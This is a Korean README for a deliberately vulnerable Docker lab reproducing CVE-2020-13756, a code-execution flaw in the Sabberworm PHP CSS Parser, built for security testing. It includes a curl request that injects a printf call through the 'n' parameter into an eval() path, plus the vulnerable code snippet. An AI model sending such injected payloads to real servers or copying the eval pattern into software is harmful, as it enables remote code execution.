
CVE-2020-13756 (Sabberworm PHP CSS Parser RCE)를 위한 취약한 테스트 환경
| Field | Value |
|---|
| CVE | CVE-2020-13756 |
| Product | Sabberworm PHP CSS Parser |
| Vulnerable Versions | < 8.3.1 |
| Severity | Critical (CVSS 9.8) |
| Type | Remote Code Execution |
docker run -d -p 8080:80 $(docker build -q https://github.com/KrE80r/CVE-2020-13756-env.git)
또는 클론하여 실행:
git clone https://github.com/KrE80r/CVE-2020-13756-env.git && cd CVE-2020-13756-env && docker-compose up -d
# Clone repository
git clone https://github.com/KrE80r/CVE-2020-13756-env.git
cd CVE-2020-13756-env
# Build and run
docker build -t sabberworm-vuln .
docker run -d -p 8080:80 sabberworm-vuln
# Test RCE - should print "VULN_TEST" in response
curl "http://localhost:8080/?n=100;printf(%22VULN_TEST%22);"
예상 출력은 시작 부분에 VULN_TEST를 포함하여 코드 실행을 증명합니다.
nuclei -t CVE-2020-13756.yaml -u http://localhost:8080 -debug
취약점은 사용자 입력을 검증하지 않고 eval()에 전달하는 getSelectorsBySpecificity() 함수에 존재합니다:
// Vulnerable code path
$selectors = $doc->getSelectorsBySpecificity('> ' . $_GET['n']);
// When n=100;printf("test"); the eval() executes: eval('> 100;printf("test");')
이 환경은 공인된 보안 테스트 전용입니다. 허가 없이 시스템에 사용하지 마십시오.
KrE80r - 보안 연구